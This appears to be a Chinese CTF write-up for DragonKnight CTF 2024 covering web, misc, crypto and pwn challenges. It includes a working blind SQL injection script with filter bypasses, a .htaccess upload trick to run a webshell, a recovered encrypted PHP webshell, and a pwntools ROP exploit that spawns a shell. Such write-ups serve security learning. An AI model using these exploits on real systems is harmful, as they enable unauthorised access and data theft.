当前位置: 首页 > news >正文

DragonKnight CTF2024部分wp

DragonKnight CTF2024部分wp

最终成果

在这里插入图片描述

又是被带飞的一天,偷偷拷打一下队里的pwn手,只出了一题

这里是我们队的wp

web

web就出了两个ez题,确实很easy,只是需要一点脑洞(感觉),

ezsgin

dirsearch扫一下就发现有index.php.bak文件,拿下来就有了index.php源码

<?php 
error_reporting(0);
// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;
if($token){extract($_GET);$token = base64_decode($token);$token = json_decode($token, true);$username = $token['username'];$password = $token['password'];$isLocal = false;if($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){$isLocal = true;}if($isLocal){echo 'Welcome Back,' . $username . '!';//如果 upload 目录下存在$username.png文件,则显示图片if(file_exists('upload/' . $username . '/' . $token['filename'])){// 显示图片,缩小图片echo '<br>';echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';} else {echo '请上传您高贵的头像。';// 写一个上传头像的功能$html = <<<EOD<form method="post" action="upload.php" enctype="multipart/form-data"><input type="file" name="file" id="file"><input type="submit" value="Upload"></form>EOD;echo $html;}} else {// echo "留个言吧";$html = <<<EOD<h1>留言板</h1><label for="input-text">Enter some text:</label><input type="text" id="input-text" placeholder="Type here..."><button οnclick="displayInput()">Display</button>EOD;echo $html;}
} else {$html = <<<EOD
<!DOCTYPE html>
<html>
<head><title>Login</title>
</head>
<body><h2>Login</h2><form method="post" action="./login.php"><div><label for="username">Username:</label><input type="text" name="username" id="username" required></div><div><label for="password">Password:</label><input type="password" name="password" id="password" required></div><div><input type="submit" value="Login"></div></form>
</body>
</html>
EOD;echo $html;
}
?>
<script>function displayInput() {var inputText = document.getElementById("input-text").value;document.write(inputText)}
</script>

这里有个文件上传的点,但是需要本地访问,本来想尝试看能不能xss搞ssrf,太菜了不会

那就自己构造上传,在index.php下面修改html,把源码里的上传表单加上去就行,然后bp拦截一下数据包,研究一下上传

发现没有对文件后缀名限制,但是上传php后apache不解析肯定要传.htaccess修改上传目录的apache文件解析设置,尝试了很多,最后发现php_flag engine 1可以,后面也提示了要修改文件解析引擎

在这里插入图片描述

上传后,蚁剑连接值钱传的webshell,查看flag即可

在这里插入图片描述

ezlogin

一开始要你登录,源码还提示有个注册的页面,注册后再登录,就提示you are not admin,当时还以为要ssrf,结果发现cookie里有个base64的token,解一下就是类似下面这个字典

{'username':'abc','token','32位长串','is_admin',0}

于是把is_admin改为1,再访问,就重定向到了home.php,回显了我这个账户的密码,后面把username改为admin,就提示我不要乱改用户名,看来会检验token,当时还以为token是服务端发的,就没管了

其实可以发现,给home.php传的数据只有上面那个cookie的字典,但是却能显示密码,所以我猜测有数据库查询,可能考二次注入,注册个hello'/**/and/**/1=1#的账户试试,

在这里插入图片描述

当时想跑一下fuzz,本来是想request或session先发一边请求拿到cookie,再去注入,结果测试了多次,response.headers里根本就没有Set-cookie

卡了半个多小时,后面发现token的长度是32位,猜测是username的md5,一试还真是,然后就可以fuzz测试了,测出来过滤了空格,union,< >以及很多可以用来时间盲注的函数,结合这里只返回user not found和密码的回显,所以这里就是布尔盲注,过滤了空格,用/**/可以绕,也不用注册来搞二次了,因为有自带一个admin用户

写脚本就完事了,脚本小子火速出击

import base64
import json
import requests
import hashlib
import time
port=32616
register_url=f'http://challenge.qsnctf.com:{port}/register.php'
login_url=f'http://challenge.qsnctf.com:{port}/login.php'
home_url=f'http://challenge.qsnctf.com:{port}/home.php'
Token={"username":"admin'/**/and/**/1=2#", "token":"bb89ba321a6adc27803fcd1f7ad8c094", "is_admin":1}
session=requests.session()
headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8','Cache-Control': 'max-age=0','Content-Type': 'application/x-www-form-urlencoded','Origin': 'http://challenge.qsnctf.com:31208','Proxy-Connection': 'keep-alive','Referer': 'http://challenge.qsnctf.com:31208/','Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36',
}
blacklist=['+', 'handler', 'sleep', 'SLEEp', 'having', '-~', 'BENCHMARK', 'left', 'Left', 'right', 'Right', '--+', '--', '!', '%', '+', 'xor', '<>', '>', '<', '^', 'BY', 'By', 'CAST', 'CREATE', 'END', 'case', 'when', '"', '+', 'REVERSE', 'left', 'right', 'union', 'UNIon', 'UNION', '"', '&', '&&', '||', 'GROUP', 'HAVING', 'IF', 'INTO', 'JOIN', 'LEFT', 'sleep', '|', 'ORDER', 'SET', 'THEN', 'UNION', 'WHEN', 'set', 'drop', 'inset', 'CAST', 'CONCAT', 'GROUP_CONCAT', 'group_concat', 'CREATE', 'DROP', 'floor', '%df', 'concat_ws()', 'concat', 'extractvalue', 'order', 'CAST()', 'by', 'ORDER', 'OUTFILE', 'SET', 'updatexml', 'SHOW', 'THEN', 'benchmark', 'VARCHAR', 'WHEN', '`', '%0a', '%0A', '%0b', 'mid', 'REGEXP', 'RLIKE', 'sys schemma', 'XOR', 'FLOOR', 'sys.schema_table_statistics_with_buffer', 'INFILE', '%0c', '%0d', '%a0', '@', '%27', '%23', '%22', '%20']
def get_base64_str(dic):return base64.b64encode(json.dumps(dic).encode()).decode()
def get_dict_from_hex(target):hex_bytes = bytes.fromhex(target)ascii_str = hex_bytes.decode('ascii')base64_bytes = base64.b64decode(ascii_str)return base64_bytes.decode()def get_hex_from_dict(dic):return get_base64_str(dic).encode('ascii').hex()def fuzz():blacklist=[]with open('sql.txt','r') as file:for line in file:session=requests.session()Token['username']=line.strip()Token['token']=hashlib.md5(line.strip().encode()).hexdigest()res1=session.post(url=register_url,data=data,headers=headers,)TOKEN=get_hex_from_dict(Token)cookies={'TOKEN':TOKEN}res2=session.post(url=login_url,data=data,headers=headers,cookies=cookies)if 'Hacker' in res2.text:print(f'{line.strip()} is baned')blacklist.append(line.strip())time.sleep(1)print(blacklist)def condition(username):Token['username']=usernameToken['token']=hashlib.md5(username.encode()).hexdigest()TOKEN=get_hex_from_dict(Token)cookies={'TOKEN':TOKEN}res2=session.get(url=home_url,headers=headers,cookies=cookies)           if 'Hacker' in res2.text:print(f'{username} is not!')return Falseif 'admin' in res2.text:return Truereturn False
def get_tbs_name():"""tbs_name=['user','secret']"""tb_num=2tbnames_list=[]# for i in range(50):#     username="admin'"#     username = username+f" and {i}=(select count(table_name) from information_schema.tables where table_schema = database())#".replace(' ','/**/')#     Token['username']=username#     Token['token']=hashlib.md5(username.encode()).hexdigest()#     TOKEN=get_hex_from_dict(Token)#     cookies={'TOKEN':TOKEN}#     res2=session.get(url=home_url,headers=headers,cookies=cookies)#     if 'Hacker' in res2.text:#                 print(f'{username} is not!')#     if 'admin' in res2.text:#         tb_num=i#         breakprint(f'表数为{tb_num}')for i in range(tb_num):name=''name_length=0for j in range(30):username="admin'"+f" and {j}=(select length(table_name) from information_schema.tables where table_schema=database() limit {i}, 1)#".replace(' ','/**/')if condition(username):name_length=jprint(f'长度为{j}')breakfor j in range(1,name_length+1):for k in range(33,127):username="admin'"+f" and ord(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{j},1))={k}#".replace(' ','/**/')if condition(username):name+=chr(k)print(name)breaktbnames_list.append(name)def get_columns_name():tbs_name=['user','secret'] secrets_columns=[] #flag, sseeccrreettnums=2 #2#直接找secret的字段数# for i in range(30):#     username="admin'"+f" and {i}=(select count(column_name) from information_schema.columns where table_name='secret' and table_schema=database())#".replace(' ','/**/')#     if condition(username):#                 nums=i#                 print(nums)#                 breakfor i in range(nums):name_length=0name=''for j in range(30):username="admin'"+f" and {j}=(select length(column_name) from information_schema.columns where table_schema=database() and table_name='secret' limit {i},1)#".replace(' ','/**/')if condition(username):name_length=jprint(f'长度为{name_length}')breakfor j in range(1,name_length+1):for k in range(33,127):username="admin'"+f" and ord(substr((select column_name from information_schema.columns where table_schema=database() and table_name='secret' limit {i},1) ,{j},1))={k}#".replace(' ','/**/')if condition(username):name+=chr(k)print(name)breaksecrets_columns.append(name)def get_info():#看完发现两个字段都只有一个值,flag字段的值长为10,明显不对,sseeccrreett是40,应该是这个column='sseeccrreett'table='secret'nums=1 #1for i in range(30):username="admin'"+ f" and (select count({column}) from {table} )={i}#".replace(' ','/**/')if condition(username):nums=iprint(nums)breakfor i in range(nums):name_length=0for j in range(75):username="admin'"+f" and (select length({column}) from {table} limit {i},1 )={j}#".replace(' ','/**/')if condition(username):name_length=jprint(name_length)breakflag=''for i in range(1,41):for k in range(33,127):username="admin'"+f" and ord(substr((select {column} from {table} limit 0,1),{i},1))={k}#".replace(' ','/**/')if condition(username):flag+=chr(k)print(flag)breakget_info()

结果

在这里插入图片描述

misc

misc做的还行,雷姆那个脑洞题和队友研究了好久

签到

扫码就行

神秘文字

拿下来就有一个txt和一个压缩包,txt里有

𓅂=+![];𓂀=+!𓅂;𓁄=𓂀+𓂀;𓊎=𓁄+𓂀;𓆣=𓁄*𓁄;𓊝=𓊎+𓁄;𓆫=𓁄*𓊎;𓅬=𓆣+𓊎;[𓇎,𓏢,𓆗,𓃠,𓃀,𓋌,𓏁,𓇲,𓁣,𓁺,𓏁,𓇲,𓆦,𓏁,𓁣,𓇲,𓄬,𓇲,𓁣,𓏁,𓋌,𓁣,𓇲,𓏁,𓋌,𓇲]=(𓆡='\\"')+!!𓆡+!𓆡+𓆡.𓆡+{};𓆉=𓇲+𓁣+𓆦+𓁺+𓆗+𓃠+𓃀+𓇲+𓆗+𓁣+𓃠,𓆉=𓆉[𓆉][𓆉],𓄦=𓏁+𓁣+𓄬+𓆦,𓄀=𓃠+𓋌+𓆗+𓃀+𓃠+𓆦+" ";𓆉(𓆉(𓄀+𓏢+𓆉(𓄀+[..."𓇎𓂀𓅂𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓅂𓆣𓇎𓆣𓂀𓇎𓂀𓊎𓂀𓇎𓂀𓂀𓅬𓇎𓂀𓁄𓊝𓇎𓂀𓆫𓁄𓇎𓆣𓅂𓇎𓂀𓆫𓅂𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓊎𓇎𓂀𓆫𓊎𓇎𓂀𓁄𓅬𓇎𓂀𓊝𓅬𓇎𓂀𓆫𓁄𓇎𓂀𓆣𓆣𓇎𓆣𓅂𓇎𓂀𓊝𓂀𓇎𓂀𓆫𓊎𓇎𓅬𓁄𓇎𓂀𓊝𓊝𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓁄𓇎𓂀𓆫𓆣𓇎𓆫𓂀𓇎𓂀𓂀𓆫𓇎𓂀𓊎𓅬𓇎𓂀𓂀𓊎𓇎𓆫𓂀𓇎𓂀𓅂𓊝𓇎𓂀𓁄𓅂𓇎𓂀𓆫𓅂𓇎𓆫𓊎"][𓄦]`+`)``+𓏢)``)``

这个一看就是javascript,真是神奇呢,其实也不难,直接放在浏览器运行会报错,一步步调试就发现是最后一行有问题

(𓆉(𓄀+𓏢+𓆉(𓄀+[..."𓇎𓂀𓅂𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓅂𓆣𓇎𓆣𓂀𓇎𓂀𓊎𓂀𓇎𓂀𓂀𓅬𓇎𓂀𓁄𓊝𓇎𓂀𓆫𓁄𓇎𓆣𓅂𓇎𓂀𓆫𓅂𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓊎𓇎𓂀𓆫𓊎𓇎𓂀𓁄𓅬𓇎𓂀𓊝𓅬𓇎𓂀𓆫𓁄𓇎𓂀𓆣𓆣𓇎𓆣𓅂𓇎𓂀𓊝𓂀𓇎𓂀𓆫𓊎𓇎𓅬𓁄𓇎𓂀𓊝𓊝𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓁄𓇎𓂀𓆫𓆣𓇎𓆫𓂀𓇎𓂀𓂀𓆫𓇎𓂀𓊎𓅬𓇎𓂀𓂀𓊎𓇎𓆫𓂀𓇎𓂀𓅂𓊝𓇎𓂀𓁄𓅂𓇎𓂀𓆫𓅂𓇎𓆫𓊎"][𓄦]`+`)``+𓏢)

去掉最外面的那个东西,浏览器运行上面这个

在这里插入图片描述

八进制解码一下,就是压缩包密码,压缩包解压一下就是flag

Steal_data

其实这题当时没报多大希望,毕竟流量分析一点不会,但是误打误撞出了

拿到流量包,首先分析http,因为我只会看http(哭了)

在这里插入图片描述

关键词shell.phpcmd,这不就是webshell,追踪一下,就能看到webshell的源码

<?php
$shell = $_REQUEST['cmd'];
$choice = $_GET['choice'];if ($choice == 'show_source'){show_source(__FILE__);
} else {echo "<h1>Welcome to Dragon Knight CTF</h1>";
}
$key = substr(md5('dragonknight'), 0 ,16);
$cmd = openssl_decrypt($shell, "AES-128-ECB", $key);
$a = base64_decode('c2hlbGxfZXhlYw==');
$result = $a($cmd);
$test = openssl_encrypt($result , "AES-128-ECB ", $key);
echo $test;

可以执行命令,c2hlbGxfZXhlYw==就是shell_exec,然后对命令执行的结果aes-128-ecb加密,加密的密钥,源码中也有了,解密一下命令执行的结果就行

然后最后一个命令的结果解密出来就是

import networkx as nx
lujin = [(102 ,22) ,(22 ,33) ,(33 ,108) ,(108 ,102) ,(108 ,12) ,(12 ,13) ,(13 ,97) ,(108 ,97) ,(97 ,47) ,(97 ,103) ,(47 ,103) ,(103 ,123) ,(123 ,21) ,(103 ,21) ,(123 ,27) ,(123 ,119) ,(119 ,27) ,(119 ,58) ,(119 ,105) ,(58 ,105) ,(105 ,115) ,(105 ,44) ,(115 ,44) ,(115 ,104) ,(115 ,43) ,(43 ,104) ,(104 ,95) ,(95 ,42) ,(42 ,104) ,(95 ,68) ,(95 ,28) ,(28 ,68) ,(68 ,30) ,(30 ,114) ,(68 ,114) ,(114 ,65) ,(114 ,62) ,(62 ,65) ,(65 ,71) ,(65 ,60) ,(71 ,60) ,(71 ,61) ,(71 ,111) ,(61 ,111) ,(111 ,48) ,(111 ,110) ,(110 ,48) ,(110 ,36) ,(110 ,75) ,(36 ,75) ,(75 ,78) ,(75 ,38) ,(38 ,78) ,(78 ,39) ,(78 ,73) ,(73 ,39) ,(73 ,46) ,(73 ,57) ,(46 ,57) ,(57 ,9) ,(57 ,72) ,(9 ,72) ,(72 ,96) ,(72 ,116) ,(116 ,96) ,(116 ,67) ,(116 ,124) ,(67 ,124) ,(67 ,88) ,(88 ,93) ,(93 ,67) ,(88 ,70) ,(70 ,94) ,(88 ,94) ,(70 ,45) ,(70 ,63) ,(63 ,45) ,(45 ,66) ,(66 ,31) ,(45 ,31) ,(66 ,69) ,(66 ,59) ,(59 ,69) ,(69 ,7) ,(69 ,84) ,(7 ,84) ,(84 ,50) ,(50 ,6) ,(84 ,6) ,(50 ,101) ,(50 ,2) ,(2 ,101) ,(101 ,0) ,(101 ,82) ,(0 ,82) ,(82 ,125)]

然后题目提示要找最短路径啥的,然而,数据结构稀烂,根本不会,问gpt出了,结果列表的每个数字转ascii,就是flag

import networkx as nx
lujin = [(102 ,22) ,(22 ,33) ,(33 ,108) ,(108 ,102) ,(108 ,12) ,(12 ,13) ,(13 ,97) ,(108 ,97) ,(97 ,47) ,(97 ,103) ,(47 ,103) ,(103 ,123) ,(123 ,21) ,(103 ,21) ,(123 ,27) ,(123 ,119) ,(119 ,27) ,(119 ,58) ,(119 ,105) ,(58 ,105) ,(105 ,115) ,(105 ,44) ,(115 ,44) ,(115 ,104) ,(115 ,43) ,(43 ,104) ,(104 ,95) ,(95 ,42) ,(42 ,104) ,(95 ,68) ,(95 ,28) ,(28 ,68) ,(68 ,30) ,(30 ,114) ,(68 ,114) ,(114 ,65) ,(114 ,62) ,(62 ,65) ,(65 ,71) ,(65 ,60) ,(71 ,60) ,(71 ,61) ,(71 ,111) ,(61 ,111) ,(111 ,48) ,(111 ,110) ,(110 ,48) ,(110 ,36) ,(110 ,75) ,(36 ,75) ,(75 ,78) ,(75 ,38) ,(38 ,78) ,(78 ,39) ,(78 ,73) ,(73 ,39) ,(73 ,46) ,(73 ,57) ,(46 ,57) ,(57 ,9) ,(57 ,72) ,(9 ,72) ,(72 ,96) ,(72 ,116) ,(116 ,96) ,(116 ,67) ,(116 ,124) ,(67 ,124) ,(67 ,88) ,(88 ,93) ,(93 ,67) ,(88 ,70) ,(70 ,94) ,(88 ,94) ,(70 ,45) ,(70 ,63) ,(63 ,45) ,(45 ,66) ,(66 ,31) ,(45 ,31) ,(66 ,69) ,(66 ,59) ,(59 ,69) ,(69 ,7) ,(69 ,84) ,(7 ,84) ,(84 ,50) ,(50 ,6) ,(84 ,6) ,(50 ,101) ,(50 ,2) ,(2 ,101) ,(101 ,0) ,(101 ,82) ,(0 ,82) ,(82 ,125)]# 将边列表转换为图
G = nx.Graph()
G.add_edges_from(lujin)
# 找到最短路径
shortest_path = nx.shortest_path(G, source=102, target=125)
flag=''
for p in shortest_path:flag+=chr(p)
print(flag)

func_pixels

本来我一个人想了好久,结果我队友路过看到我在研究雷姆,果然加入一起研究,研究了半个多小时就出了

题目提示像素很奇怪,(0,0)是怎么回事,然后我就打印了一下(0,0)的RGB值,都挺小的,**转了ascii发现是DBK!**这不就是flag头嘛

果断用画图打开图片,拖到最左上方,发现了端倪,那里有很多不和谐的像素

在这里插入图片描述

题目还给了平方的式子提示,然后就观察(0,0),(1,1),(2,4),(3,9)…直到(9,81),发现这些像素跟周围格格不入

但是左上角这里还有很多不和谐的,观察一下发现是(2,2),(3,3)…(9,9)以及(2,8),(3,27)…(9,727)

然后打印了一下这些不和谐点的rgb值

在这里插入图片描述

如图,发现了很多重复值,其中紫色123是{,125是},所以一定是起点和终点,然后就去三个部分中没有重复的数据即可

一开始是先取完一次放的R,再去取二次方的G,这样发现是错的,最后尝试一次方R取一个,2次方G取一个,3次方B取一个,一个循环就出了

from PIL import Image
from collections import Counter# 打开图像文件
image_path = "1.png"  # 请替换为你的图像文件路径
image = Image.open(image_path)# 获取图像的宽度和高度
width, height = image.sizer, g, b = image.getpixel((0, 0))
print("Pixel at ({}, {}) - R: {}, G: {}, B: {}".format(0, 0, r, g, b))
print(chr(r),chr(g),chr(b))flag = []
for x in range(0,2):r, g, b = image.getpixel((x, x*x))try:print("Pixel at ({}, {}) - R: {}, G: {}, B: {}".format(x, x*x, r, g, b))flag.append(r)flag.append(g)flag.append(b)except:continueflag = []
for x in range(10):r, g, b = image.getpixel((x, x))flag.append(r)r, g, b = image.getpixel((x, x*x))flag.append(g)r, g, b = image.getpixel((x, x*x*x))flag.append(b)flags = ""
for num in flag:if num >= 32 and num <= 126:print("ASCII character for {} is {}".format(num, chr(num)))flags += chr(num)else:print("Hexadecimal value for {} is {}".format(num, hex(num)))print(flags)
#DRKCTF{HAHAHAHA_LeiMuIsSoCute}

雷姆确实很可爱

crypto


密码学签到LCG

第一次学LCG算法,主要参考下面的文章,题目与平常不同的是一次性调用两次
LCG-CTF #CSDN
注意在算出 a 之后还要进行开方操作
S n + 1 ≡ a S n + b ( m o d m ) S n + 2 ≡ a 2 S n + a b + b ( m o d m ) 令  T n + 1 = a 2 T n + a b + b ( m o d m ) T n = ( T n + 1 − a b − b ) ∗ ( a 2 ) − 1 ( m o d m ) S_{n+1} \equiv aS_n+b\ (mod\ m)\\ S_{n+2} \equiv a^2S_n+ab+b\ (mod\ m)\\ 令\ T_{n+1} =a^2T_n+ab+b(mod \ m)\\ T_n=(T_{n+1}-ab-b)*(a^2)^{-1}\quad(mod \ m) Sn+1aSn+b (mod m)Sn+2a2Sn+ab+b (mod m) Tn+1=a2Tn+ab+b(mod m)Tn=(Tn+1abb)(a2)1(mod m)

解出 a, b, m 之后就可以使用逆推公式进行逆推
只进行了最多 2^16 次操作,穷举即可

from math import gcd
from functools import reduce
from Crypto.Util.number import long_to_bytes
from sympy import mod_inverse, sqrt_modoutputs = [5944442525761903973219225838876172353829065175803203250803344015146870499,141002272698398325287408425994092371191022957387708398440724215884974524650,42216026849704835847606250691811468183437263898865832489347515649912153042,67696624031762373831757634064133996220332196053248058707361437259689848885,19724224939085795542564952999993739673429585489399516522926780014664745253,
]
def crack_unknown_modulus(states):diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]zeroes = [t2 * t0 - t1 * t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]modulus = abs(reduce(gcd, zeroes))return modulusdef crack_unknown_multiplier(states, m):multiplier = (states[2] - states[1]) * mod_inverse(states[1] - states[0], m) % mreturn multiplierdef degenerate(nextSeed, a, b, m):seed = ((nextSeed - a * b - b) * mod_inverse(a * a, m)) % mreturn seed# print("m=", crack_unknown_modulus(outputs))
m = 155908129777160236018105193822448288416284495517789603884888599242193844951X0 = outputs[0]
X1 = outputs[1]
X2 = outputs[2]
# a2 = crack_unknown_multiplier([X0, X1, X2], m)
# a = sqrt_mod(a2, m, all_roots=True)
# a= [60728410741559651595837076320918940692717582926393871702586056157132924440, 95179719035600584422268117501529347723566912591395732182302543085060920511]
a = 60728410741559651595837076320918940692717582926393871702586056157132924440# b = ((X1 - a * a * X0) * mod_inverse(a + 1, m)) % m
b = 31006403622243178411942737943535530004679293793891742767612321661881499410generated = X0
for _ in range(2**16):generated = degenerate(generated, a, b, m)if b"flag" in long_to_bytes(generated):print("Seed:", generated)print("Flag:", long_to_bytes(generated))'''
Seed: 531812496965506450888444937267070589
Flag: b'flag{Hello_CTF}'
'''

MatrixRSA

矩阵RSA题目,之前没见过,用平常的 d 无法解密
上网搜到 A Matrix Extension of the RSA Cryptosystem 这篇论文
g = ∏ k = 0 s − 1 ( p s − p k ) ⋅ ∏ k = 0 s − 1 ( q s − q k ) g=\prod_{k=0}^{s-1}(p^s-p^k)\cdot \prod_{k=0}^{s-1}(q^s-q^k) g=k=0s1(pspk)k=0s1(qsqk)
读了一下论文,按照里面的方法,用sage计算出 g d 即可解密

from Crypto.Util.number import *e = 65537
p = 724011645798721468405549293573288113
q = 712853480230590736297703668944546433
C = [...] # 省略n = p * q
phi = (p^4-1)*(p^4-p)*(p^4-p^2)*(p^4-p^3)*(q^4-1)*(q^4-q)*(q^4-q^2)*(q^4-q^3)
d = inverse(e, phi)M = matrix(Zmod(n), C)
m = M ^ dflag = b""
flag += long_to_bytes(int(m[0, 0]))
flag += long_to_bytes(int(m[0, 1]))
flag += long_to_bytes(int(m[0, 2]))print(flag)
# b'DRKCTF{a58986e7-33e5-4f65-8c22-b8a5e620752d}V%\x17\xf1'

pwn

stack

很明显的只溢出了0x8字节,并且还直白说了stack pivoting,但是发现唯一能标志栈的esp和rsp没有用,然后,就卡了一整天。。。

直到终于翻到一篇文章https://blog.csdn.net/hackzkaq/article/details/134457518

不得不说,一下就点醒了我,read函数的调用原来就是最好的利用,然后就先让程序read跳转输入到bss段上,再在bss段上迁移的栈上直接写泄漏的rop链,链结尾再写一次read,还用这个栈继续的结尾,直接写到one_gadget就行了,前面的r12置0直接照抄文章,就连地址都一样(还没怎么懂read两次怎么劫持栈到bss上的,不过后面攻击的思路倒很清晰,骄傲)

exp:

from pwn import *# io = process("./pwn")
io = remote("challenge.qsnctf.com", 32201)context.terminal = 'kitty'elf = ELF('./pwn')
libc = elf.libcio.recv()bss = 0x404040 + 0x100payload = b'A'*0x100 + p64(bss) + p64(0x40119B)
io.send(payload)
payload = b'B'*0x100 + p64(bss + 0x100) + p64(0x40119B)
io.send(payload)
payload = p64(bss + 0x100 + 0x10) + p64(0x0000000000401210) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40119B)
io.send(payload)libcbase = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
print(hex(libcbase))
system = libcbase + libc.sym['system']
print(hex(system))
r12 = 0x000000000002f709+libcbase
og = libcbase + 0xe3afe
# 0xe3b01 0xe3b04payload = b'A'*0x20 + p64(r12)+ p64(0) +p64(og) #p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) #5 io.send(payload)io.interactive()

相关文章:

  • 缓存归纳总结1
  • go语言泛型Generic最佳实践 --- slices包
  • Unity 代码实现Animator开始和结束播放动画回调
  • 代码审计--一道简单的文件包含题目的多种利用方式
  • Jenkins + github 自动化部署配置
  • 二十九篇:构建未来:信息系统的核心框架与应用
  • Laravel(Lumen8) + Supervisor 实现多进程redis消息队列
  • 大一久富农机实习与商业思维学习计划
  • IS-IS DIS
  • Android:OkHttp网络请求框架的使用
  • 【二叉树】LeetCode.144:二叉树的前序遍历(小细节把握)
  • 今天说的什么好呢
  • 汇编原理(二)
  • STL库 —— unordered_set与unordered_map的封装
  • 5月23日学习记录
  • [译] 理解数组在 PHP 内部的实现(给PHP开发者的PHP源码-第四部分)
  • Android系统模拟器绘制实现概述
  • CoolViewPager:即刻刷新,自定义边缘效果颜色,双向自动循环,内置垂直切换效果,想要的都在这里...
  • Hibernate【inverse和cascade属性】知识要点
  • Java-详解HashMap
  • open-falcon 开发笔记(一):从零开始搭建虚拟服务器和监测环境
  • Perseus-BERT——业内性能极致优化的BERT训练方案
  • Redis提升并发能力 | 从0开始构建SpringCloud微服务(2)
  • SpiderData 2019年2月13日 DApp数据排行榜
  • Sublime Text 2/3 绑定Eclipse快捷键
  • 彻底搞懂浏览器Event-loop
  • 给初学者:JavaScript 中数组操作注意点
  • 使用Tinker来调试Laravel应用程序的数据以及使用Tinker一些总结
  • 项目实战-Api的解决方案
  • 优化 Vue 项目编译文件大小
  • 优秀架构师必须掌握的架构思维
  • 最近的计划
  • “十年磨一剑”--有赞的HBase平台实践和应用之路 ...
  • Play Store发现SimBad恶意软件,1.5亿Android用户成受害者 ...
  • 仓管云——企业云erp功能有哪些?
  • 资深实践篇 | 基于Kubernetes 1.61的Kubernetes Scheduler 调度详解 ...
  • ​2020 年大前端技术趋势解读
  • "无招胜有招"nbsp;史上最全的互…
  • ###项目技术发展史
  • #if和#ifdef区别
  • #laravel部署安装报错loadFactoriesFrom是undefined method #
  • #面试系列-腾讯后端一面
  • #我与Java虚拟机的故事#连载07:我放弃了对JVM的进一步学习
  • #我与Java虚拟机的故事#连载13:有这本书就够了
  • #我与Java虚拟机的故事#连载18:JAVA成长之路
  • $(function(){})与(function($){....})(jQuery)的区别
  • (4) PIVOT 和 UPIVOT 的使用
  • (day 2)JavaScript学习笔记(基础之变量、常量和注释)
  • (Git) gitignore基础使用
  • (ibm)Java 语言的 XPath API
  • (阿里云万网)-域名注册购买实名流程
  • (安卓)跳转应用市场APP详情页的方式
  • (排序详解之 堆排序)
  • (生成器)yield与(迭代器)generator
  • (使用vite搭建vue3项目(vite + vue3 + vue router + pinia + element plus))